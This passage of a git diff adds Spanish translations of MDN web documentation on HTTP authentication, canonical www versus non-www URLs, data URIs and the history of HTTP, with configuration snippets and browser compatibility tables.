+   <td>Soporte Básico</td>
+   <td>2.1</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>12</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h4 id="Nota">Nota</h4>
+
+<p>Internet Explorer 8 y 9 exponen CORS a través del objeto XDomainRequest, pero tienen una implementación completa en IE 10. Mientras que Firefox 3.5 introduce el soporte para XMLHttpRequests y Web Fonts para sitios cruzados, algunas solicitudes fueron limitadas hasta versiones posteriores. Especificamente, Firefox 7 introduce la habilidad para solicitudes HTTP de sitios cruzados para Texturas WebGL, y Firefox 9 añade soporte para imágenes dibujadas en patrones utilizando drawImage.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">Muestras de Código mostrando <code>XMLHttpRequest</code> e Intercambio de Recursos de Origen Cruzado</a></li>
+ <li><a class="external" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Server-Side_Access_Control" title="https://developer.mozilla.org/en-US/docs/Web/HTTP/Server-Side_Access_Control">Intercambio de Recursos de Origen Cruzado desde una perspectiva de Servidor (PHP, etc.)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">Especificación del Intercambio de Recursos de Origen Cruzado</a></li>
+ <li><a class="internal" href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a class="external" href="http://crypto.stanford.edu/websec/specs/origin-header/" title="http://crypto.stanford.edu/websec/specs/origin-header/">Discusión adicional sobre el encabezado Origin</a></li>
+ <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx" title="http://www.kendoui.com/blogs/teamblog/posts/11-10-04/using_cors_with_all_modern_browsers.aspx">Usando CORS con todos los exploradores (modernos).</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/cors/" title="http://www.html5rocks.com/en/tutorials/cors/">Usando CORS - HTML5 Rocks</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/HTTP_access_control" } ) }}</p>
diff --git a/files/es/web/http/authentication/index.html b/files/es/web/http/authentication/index.html
new file mode 100644
index 0000000000..df54bfa2c4
--- /dev/null
+++ b/files/es/web/http/authentication/index.html
@@ -0,0 +1,119 @@
+---
+title: Autenticación HTTP
+slug: Web/HTTP/Authentication
+tags:
+  - Acceso de control
+  - Autenticación
+  - Guía
+  - HTTP
+  - HTTP Basic
+translation_of: Web/HTTP/Authentication
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP nos brinda un marco general para el control de acceso y de autenticación. El esquema de autenticación HTTP más común es la autenticación "Basic". Esta página presenta el framework general de autenticación HTTP y muestra cómo restringir el acceso a tu servidor con la autenticación HTTP <em>Basic</em>.</p>
+
+<h2 id="El_marco_general_de_autenticación_HTTP">El marco general de autenticación HTTP</h2>
+
+<p>{{RFC("7235")}} define el marco de autenticación HTTP que puede ser usado por un servidor para revisar la solicitud de un cliente y por un cliente para proveer información de autenticación. El flujo de la revisión y la respuesta funciona de la siguiente manera: El servidor responde al cliente con un estado de respuesta {{HTTPStatus("401")}} (Unauthorized) y devuelve al cliente información sobre cómo autorizarse con un encabezado de respuesta {{HTTPHeader("WWW-Authenticate")}} que contiene al menos una revisión. Un cliente que quiera autenticarse con un servidor puede hacerlo incluyendo un encabezado de solicitud {{HTTPHeader("Authorization")}}  con sus credenciales. Normalmente un cliente hará una solicitud de contraseña al usuario y luego enviará la solicitud incluyendo el encabezado <code>Authorization</code> correcto al servidor.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>En el caso de una autenticación "Basic" como la mostrada en la figura, el intercambio se <strong>debe</strong> realizar sobre una conexión HTTPS (TLS) para que sea seguro.</p>
+
+<h3 id="Autenticación_Proxy_Proxy_Authentication">Autenticación Proxy (Proxy Authentication)</h3>
+
+<p>El mismo mecanismo de desafío y respuesta puede ser usada para <em>autenticación por proxy. </em>En este caso, es el proxy el que hace de intermediario y requiere la autenticación. Ambas autenticaciones (autenticación del recurso y autenticación en el proxy) pueden coexistir juntas, pero entonces es necesario un conjunto de cabeceras y códigos de estado diferentes. En el caso de los proxys, el código de estado para requerir autenticación es {{HTTPStatus("407")}}  (Proxy Authentication Required), la cabecera de respuesta {{HTTPHeader("Proxy-Authenticate")}} contiene al menos un requerimiento aplicable en el proxy, y la cabecera de petición {{HTTPHeader("Proxy-Authorization")}} es usada para proveer la credencial en el servidor proxy.</p>
+
+<h3 id="Prohibición_de_Acceso_Access_Forbbiden">Prohibición de Acceso (Access Forbbiden)</h3>
+
+<p>Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a un determinado recurso, el servidor respondera con el código de estado {{HTTPStatus("403")}} <code>Forbidden.</code>Diferente al código de estado {{HTTPStatus("401")}} <code>Unauthorized</code> o {{HTTPStatus("407")}} <code>Proxy Authentication Required, </code>donde la autenticación es imposible para ese usuario.</p>
+
+<h3 id="Cabeceras_WWW-Authenticate_y_Proxy-Authenticate">Cabeceras <code>WWW-Authenticate</code> y <code>Proxy-Authenticate</code> </h3>
+
+<p>Las cabeceras de respuesta {{HTTPHeader("WWW-Authenticate")}} y {{HTTPHeader("Proxy-Authenticate")}} definen el método de autenticación que debe ser usado para obtener acceso a un recurso. Ellas especifican que esquema de autenticación debe ser usado para que el cliente que quiera autenticarse sepa como hacerlo. La síntaxis para estas cabeceras es la siguiente:</p>
+
+<pre>WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>En el ejemplo, <code>&lt;type&gt; </code>es el esquema de autenticación ("Basic" es el esquema de autenticación mas usado e introducido en <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">esta página mas abajo</a>)<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">. </span></font>La palabra <em>realm</em> es usada para describir el área que protegida o para indicar el alance de la protección. Puede ser un mensaje como "Access to the staging site" o algo similar, pero que sea explicativo para que el usuario sepa que espacio intenta acceder.</p>
+
+
+
+<h3 id="Cabeceras_Authorization_y_Proxy-Authorization"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333;">Cabeceras </span></font>Authorization</code> y <code>Proxy-Authorization</code></h3>
+
+<p>La cabecera de consulta {{HTTPHeader("Authorization")}} y {{HTTPHeader("Proxy-Authorization")}} contiene las credenciales para autenticar a un user agent con un servidor (proxy). Aquí, el tipo es necesario necesario siguiendo las credenciales que pueden estar codificadas o encriptadas dependiendo de que tipo de esquema de autenticación se esté usando:</p>
+
+<pre>Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Esquemas_de_autenticación">Esquemas de autenticación</h3>
+
+<p>El marco general de autenticación HTTP es usado por varios esquemas de autenticación. Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en software de clientes o servidores.</p>
+
+<p>El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle abajo. IANA mantiene una <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de esquemas de autenticación</a>, pero existen otros esquemas ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de autenticación incluídas:</p>
+
+<ul>
+ <li><strong>Basic</strong> (ver {{rfc(7617)}}, credenciales codificadas en base64 . Ver mas abajo para mas información.),</li>
+ <li><strong>Bearer</strong> (ver {{rfc(6750)}}, bearer tokens de acceso en recursos protegidos mediante OAuth 2.0),</li>
+ <li><strong>Digest</strong> (ver {{rfc(7616)}}, has MD5 solo soportado en Firefox, ver {{bug(472823)}} para encriptado SHA),</li>
+ <li><strong>HOBA</strong> (ver {{rfc(7486)}} (borrador), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, basado en firma digital),</li>
+ <li><strong>Mutual</strong> (ver <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li>
+ <li>
+  <p><strong>AWS4-HMAC-SHA256</strong> (ver <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Esquema_de_autenticación_Basic">Esquema de autenticación Basic</h2>
+
+<p>El esquema de autenticación HTTP "Basic" está definido en {{rfc(7617)}}, que transmite las credenciales como un par usuario/contraseña codificado usando base64.</p>
+
+<h3 id="Seguridad_de_la_autenticación_básica">Seguridad de la autenticación básica</h3>
+
+<p>Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas mejoras de seguridad, la autenticación básica no debe ser usada para proteger información sensible o valiosa.</p>
+
+<h3 id="Restringiendo_acceso_con_Apache_y_autenticación_básica">Restringiendo acceso con Apache y autenticación básica</h3>
+
+<p>Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los ficheros .htaccess y .htpasswd.</p>
+
+<p>El fichero .htaccess normalmente tiene esta forma:</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este ejemplo no puedes ver la contraseña porque está <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encriptada </a>(utilizando md5 en este caso). Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado normalmente para prevenir el acceso a ficheros .ht*).</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restringiendo_acceso_con_nginx_y_autenticación_básica">Restringiendo acceso con nginx y autenticación básica</h3>
+
+<p>En el caso de nginx necesitarás especificar la localización a proteger y usar la directiva <strong>auth_basic</strong>, que provee el nombre del área protegida. La directiva <strong>auth_basic_user_file </strong>apunta al fichero .htpasswd que contiene las credenciales de usuario encriptadas, como en el ejemplo de Apache de mas arriba.</p>
+
+<pre>location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Acceso_usando_credenciales_en_la_URL">Acceso usando credenciales en la URL</h3>
+
+<p>Muchos clientes también le permiten evitar el mensaje de inicio de sesión enviando el usuario y la contraseña codificados por la URL.</p>
+
+<pre>https://username:password@www.example.com/</pre>
+
+<p><strong>El uso de estas URLs está obsoleto.</strong> En Chrome, la cadena usuario:contraseña@ dentro de URLs incluso es <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">cortada </a>por razones de seguridad. En Firefox se comprueba si el sitio actualmente requiere una autenticación, y de no ser así, Firefox avisará al usuario con un mensaje "Está a punto de iniciar sesión en el sitiio "www.example.com" con el usuario "username", pero el sitiio web no requiere autenticación. Puede ser un intento de engañarlo.".</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
new file mode 100644
index 0000000000..53d2270e03
--- /dev/null
+++ b/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
@@ -0,0 +1,71 @@
+---
+title: Elección entre www y no-www URLs
+slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+tags:
+  - Guía
+  - HTTP
+  - URL
+  - WWW
+  - no www
+translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Una cuestión recurrente entre los dueños de sitios web consiste en elegir entre un no-www y www URLs. Esta página contiene algunos consejos sobre qué es mejor.</p>
+
+<h2 id="¿Qué_son_los_nombres_de_dominio">¿Qué son los nombres de dominio?</h2>
+
+<p>En una URL HTTP, la primera subcadena que sigue a la inicial <code>http://</code> o <code>https://</code> se llama nombre de dominio. El nombre de dominio está alojado en un servidor donde residen los documentos.</p>
+
+<p>Un servidor no es necesariamente una máquina física: varios servidores pueden residir en la misma máquina física. O bien, un servidor puede ser manejado por varias máquinas, cooperando para producir la respuesta o equilibrando la carga de las solicitudes entre ellas. El punto clave es que semanticamente un nombre de dominio representa un solo servidor.</p>
+
+<h2 id="¿Entonces_¿tengo_que_elegir_uno_u_otro_para_mi_sitio_web">¿Entonces, ¿tengo que elegir uno u otro para mi sitio web?</h2>
+
+<ul>
+ <li><u>Sí</u>, tienes que elegir uno y seguir con él. La elección de cual tener como ubicación canónica es tuya, pero si eliges una, síguela. Esto hará tu sitio web parezca más consistente para tus usuarios y para los motores de búsqueda. Esto incluye siempre vincular al dominio elegido (lo que no debería ser difícil si está utilizando URLs relativas en su sitio web) y siempre compartir enlaces (por correo electrónico / redes sociales, etc.) al mismo dominio.</li>
+ <li><u>No</u>, puedes tener dos. Lo que es importante es que seas coherente y consistente con cuál es el dominio oficial. <strong>A este dominio oficial se le llama nombre <em>canónico</em>. </strong>Todos tus enlaces absolutos deben usarlo. Pero, aun así, puedes seguir teniendo el otro dominio funcionando: HTTP permite dos técnicas para que esté claro para sus usuarios, o motores de búsqueda, cuyo dominio es el canónico, mientras permite que el dominio no-canónico funcione para proporcionar las páginas esperadas.</li>
+</ul>
+
+<p>Por lo tanto, ¡elija uno de sus dominios como su canónico! Hay dos técnicas a continuación para permitir que el dominio no canónico funcione aún.</p>
+
+<h2 id="Técnicas_para_las_URL_canónicas.">Técnicas para las URL canónicas.</h2>
+
+<p>Hay diferentes maneras de elegir qué sitio web es <em>canónico</em>.</p>
+
+<h3 id="Usando_redirecciones_HTTP_301">Usando redirecciones HTTP 301 </h3>
+
+<p>En este caso, necesitas configurar el servidor que recibe las peticiones HTTP  (que probablemente sea el mismo para las URL www y no www) para responder con una respuesta HTTP adecuada {{HTTPStatus (301)}} a cualquier solicitud al dominio no-canónico. Esto redirigirá el navegador que intenta acceder a las URL no canónicas a su equivalente canónico. Por ejemplo, si ha elegido usar URL que no sean de www como tipo canónico, debe redirigir todas las URL de www a su URL equivalente sin el www.</p>
+
+<p>Ejemplo:</p>
+
+<ol>
+ <li>Un servidor recibe una petición para <code>http://www.example.org/whaddup</code> (cuando el dominio canónico es example.org)</li>
+ <li>El servidor responde con un código {{HTTPStatus(301)}} con la cabecera <code>{{HTTPHeader("Location")}}: http://example.org/whaddup</code>.</li>
+ <li>El cliente emite una solicitud al dominio canónico.: <code>http://example.org/whatddup</code></li>
+</ol>
+
+<p>El <a href="https://github.com/h5bp/html5-boilerplate">HTML5 boilerplate project</a> tiene un ejemplo sobre <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">cómo configurar un servidor Apache para redirigir un dominio a otro</a>.</p>
+
+<h3 id="Usando_&lt;link_relcanonical>"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333;">Usando </span></font><em>&lt;</em>link<em> rel</em><em>="canonical"&gt;</em></code></h3>
+
+<p>Es posible añadir un elemento especial HTML {{HTMLElement("link")}} a una página para indicar cual es la dirección canónica de la página. Esto no tendrá ningún impacto en la lectura humana, pero le dirá a rastreadores de los motores de búsqueda donde vive actualmente la página. De esta manera, los motores de búsqueda no indexan la misma página varias veces, lo que podría hacer que se considere contenido duplicado o correo no deseado, e incluso eliminar o bajar su página de las páginas de resultados del motor de búsqueda.</p>
+
+<p>Al agregar una etiqueta de este tipo, sirve el mismo contenido para ambos dominios, indicando a los motores de búsqueda qué URL es canónica. En el ejemplo anterior, <code>http://www.example.org/whaddup</code> serviría el mismo contenido que  <code>http://example.org/whaddup</code>, pero con un elemento {{htmlelement("link")}} adicional en la cabecera:</p>
+
+<p><code>&lt;link href="http://example.org/whaddup" rel="canonical"&gt;</code></p>
+
+<p>A diferencia del caso anterior, el historial del navegador considerará las direcciones URL no www y www como entradas independientes.</p>
+
+<h2 id="Hacer_que_tu_página_funcione_para_ambas">Hacer que tu página funcione para ambas</h2>
+
+<p>Con estas técnicas, puedes configurar tu servidor para responder correctamente a ambos dominios, www y no www. Es un buen consejo hacer esto, ya que no puede predecir qué URL escribirán los usuarios en la barra de URL de su navegador. Es una cuestión de elegir qué tipo desea usar como su ubicación canónica, y luego redirigir el otro tipo a él.</p>
+
+<h2 id="Decidir_el_caso">Decidir el caso</h2>
+
+<p class="entry-title">Este es un tema muy subjetivo que podría considerarse un problema de <a href="http://bikeshed.com/">bikeshedding</a>. Si desea leer más a fondo, lea algunos de los  <a href="http://www.themezilla.com/should-you-use-www-in-your-url-or-not/">muchos artículos</a> de este tema.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">Estadísticas sobre lo que la gente escribe en la barra de URL</a> (2011)</li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/datos_uris/index.html b/files/es/web/http/basics_of_http/datos_uris/index.html
new file mode 100644
index 0000000000..6fa23a5ba3
--- /dev/null
+++ b/files/es/web/http/basics_of_http/datos_uris/index.html
@@ -0,0 +1,168 @@
+---
+title: Datos URIs
+slug: Web/HTTP/Basics_of_HTTP/Datos_URIs
+tags:
+  - Base 64
+  - Guia(2)
+  - Intermedio
+  - URI
+  - URL
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Datos URIs</strong>, URLs prefijados con los datos<code>:</code> esquema, permiten a los creadores de contenido incorporar pequeños archivos en linea en los documentos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Los datos URIs se componen de cuatro partes a: un prefijo (<code>data:</code>), un tipo MIME que indica el tipo de datos, un token <code>base64</code> opcional no textual, y los datos en si:</p>
+
+<pre class="syntaxbox">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;
+</pre>
+
+<p>El <code>mediatype</code> es una cadena de tipo MIME, por ejemplo <code>'image/jpeg'</code> para un archivo de imagen JPEG. si se omite, será por defecto <code>text/plain;charset=US-ASCII</code></p>
+
+<p>Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64 para insertar datos binarios codificados en base-64.</p>
+
+<p>Algunos ejemplos:</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>Datos simples text/plain</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>versión codificada en base64-encoded de las anteriores</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd>Un documento HTML con <code>&lt;h1&gt;Hello, World!&lt;/h1&gt;</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se requiere la etiqueta script de cierre.</dd>
+</dl>
+
+<h2 id="Codificación_de_datos_en_formato_base64">Codificación de datos en formato base64</h2>
+
+<p>Esto se puede hacer fácilmente desde la línea de comandos usando <code>uuencode, </code>una utilidad disponible en sistemas Linux y Mac OS X:</p>
+
+<pre>uuencode -m infile remotename
+</pre>
+
+<p>El parámetro <code>infile</code> es el nombre para el archivo que desees decodificar en formato base64, y <code>remotename</code> es el nombre remoto para el archivo, que no se utilizará realmente en los datos de las URLs.</p>
+
+<p>La salida será similar a esto:</p>
+
+<pre>xbegin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+</pre>
+
+<p>El URI de datos utilizará los datos codificados después de la cabezera inicial.</p>
+
+<h3 id="En_la_pagina_Web_usando_JavaScript">En la pagina Web, usando JavaScript</h3>
+
+<p>Las Web tiene APIs primitivas para codificar o decodificar en base64: <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">codificación y decodificación Base64</a>.</p>
+
+<h2 id="Problemas_comunes">Problemas comunes</h2>
+
+<p>Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los datos URIs.</p>
+
+<dl>
+ <dt>Sintaxis</dt>
+ <dd>El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una coma antes del segmento de la "data", o para codificar incorrectamente los datos en formato base64.</dd>
+ <dt>Formateando en HTML</dt>
+ <dd>Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser muy amplia con relación con el ancho del documento de cierre. Como una URL, los datos se les puede dar formato con espacios en blanco (<span class="short_text" id="result_box" lang="es"><span>avance de línea</span><span>,</span> <span>pestaña</span><span>, o espacios</span></span>), pero hay cuestiones prácticas que se plantean <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">cuando se usa codificación base64</a>.</dd>
+ <dt>Limitaciones de longitud</dt>
+ <dd>Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los navegadores no estan obligados a apoyar cualquier longitud máxima de datos en particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de<code> los </code>65000 caracteres.</dd>
+ <dt>Falta de control de errores</dt>
+ <dd>Los parametros no válidos en los medios de comunicación, o errores ortográficos cuando se especifiquen<code> 'base64'</code>, se ignoran, pero no se proporciona ningún error.</dd>
+ <dt>No hay soporte para consulta de cadenas, etc.</dt>
+ <dd>
+ <p>Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis<code> &lt;url&gt;?parameter-data</code>) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo:</p>
+
+ <pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+ <p>Esto representa un recurso HTML cuyo contenido es:</p>
+
+ <pre class="eval">lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2397")}}</td>
+   <td>The "data" URL scheme"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 64px; width: 812px;">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12<sup>[2]</sup></td>
+   <td>{{CompatIE(8)}}<sup>[1][2]</sup></td>
+   <td>7.20</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] IE8 solo soporta datos URIs en archivos CSS, con un tamaño máximo de 32kB.</p>
+
+<p>[2]IE9 y posteriores, así como Edge, soportan datos URIs en archivos CSS y JS, pero no en archivos HTML, con un tamaño máximo de 4GB.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 codificación y decodificación</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/en-US/docs/URI">URI</a></li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/evolution_of_http/index.html b/files/es/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..8d4373a512
--- /dev/null
+++ b/files/es/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,197 @@
+---
+title: Evolución del protocolo HTTP
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><strong>HTTP</strong> es el protocolo en el que se basa la Web. Fue inventado por Tim Berners-Lee entre los años 1989-1991, HTTP ha visto muchos cambios, manteniendo la mayor parte de su simplicidad y desarrollando su flexibilidad. HTTP ha evolucionado, desde un protocolo destinado al intercambio de archivos en un entorno de un laboratorio semi-seguro, al actual laberinto de Internet, sirviendo ahora para el intercambio de imágenes, vídeos en alta resolución y en 3D.</p>
+
+<h2 id="Invención_de_la_World_Wide_Web">Invención de la World Wide Web</h2>
+
+<p>En 1989, mientras trabajaba en el CERN, Tim Berners-Lee escribió una propuesta para desarrollar un sistema de hipertexto sobre Internet. Inicialmente lo llamó: '<em>Mesh' </em>(malla, en inglés), y posteriormente se renombró como<em> World Wide Web </em>(red mundial), durante su implementación en 1990. Desarrollado sobre los protocolos existentes TCP e IP, está basado en cuatro bloques:</p>
+
+<ul>
+ <li>Un formato de texto para representar documentos de hiper-texto: <em><a href="/en-US/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li>
+ <li>Un protocolo sencillo para el intercambio de esos documentos, del inglés: <em>HypertText Transfer Protocol </em>(HTTP) : protocolo de transferencia de hiper-texto.</li>
+ <li>Un cliente que muestre (e incluso pueda editar) esos documentos. El primer navegador Web, llamado: <em>WorldWideWeb</em>.</li>
+ <li>Un servidor para dar acceso a los documentos, una versión temprana: <em>httpd (http daemon)</em></li>
+</ul>
+
+<p>Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de 1991, el <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">post</a> de Tim Berners-Lee, se considera actualmente como el inicio oficial de la Web como proyecto público. </p>
+
+<p>La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla, posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola línea.</p>
+
+<h2 id="HTTP0.9_–_El_protocolo_de_una_sola_línea">HTTP/0.9 – El protocolo de una sola línea</h2>
+
+<p>La versión inicial de HTTP, no tenía número de versión; aunque posteriormente se la denominó como 0.9 para distinguirla de las versiones siguientes. HTTP/0.9 es un protocolo extremadamente sencillo: una petición consiste simplemente en una única linea, que comienza por el único método posible {{HTTPMethod("GET")}}, seguido por la dirección del recurso a pedir (no la URL, ya que tanto el protocolo, el servidor y el puerto, no son necesarios una vez ya se ha conectado al servidor).</p>
+
+<pre>GET /miPaginaWeb.html</pre>
+
+<p>La respuesta también es muy sencilla: solamente consiste el archivo pedido.</p>
+
+<pre>&lt;HTML&gt;
+Una pagina web muy sencilla
+&lt;/HTML&gt;</pre>
+
+<p>Al contrario que sus posteriores evoluciones, el protocolo HTTP/0.9 no usa cabeceras HTTP, con lo cual únicamente es posible transmitir archivos HTML, y ningún otro tipo de archivos. Tampoco había información del estado ni códigos de error: en el caso un problema, el archivo HTML pedido, era devuelto con una descripción del problema dentro de él, para que una persona pudiera analizarlo.</p>
+
+<h2 id="HTTP1.0_–_Desarrollando_expansibilidad">HTTP/1.0 – Desarrollando expansibilidad</h2>
+
+<p>La versión HTTP/0.9 era ciertamente limitada y tanto los navegadores como los servidores, pronto ampliaron el protocolo para que fuera más flexible.</p>
+
+<ul>
+ <li>La versión del protocolo se envía con cada petición: HTTP/1.0 se añade a la línea de la petición GET.</li>
+ <li>Se envía también un código de estado al comienzo de la respuesta, permitiendo así que el navegador pueda responder al éxito o fracaso de la petición realizada, y actuar en consecuencia (como actualizar el archivo o usar la caché local de algún modo).</li>
+ <li>El concepto de cabeceras de HTTP, se presentó tanto para las peticiones como para las respuestas, permitiendo la trasmisión de meta-data y conformando un protocolo muy versátil y ampliable. </li>
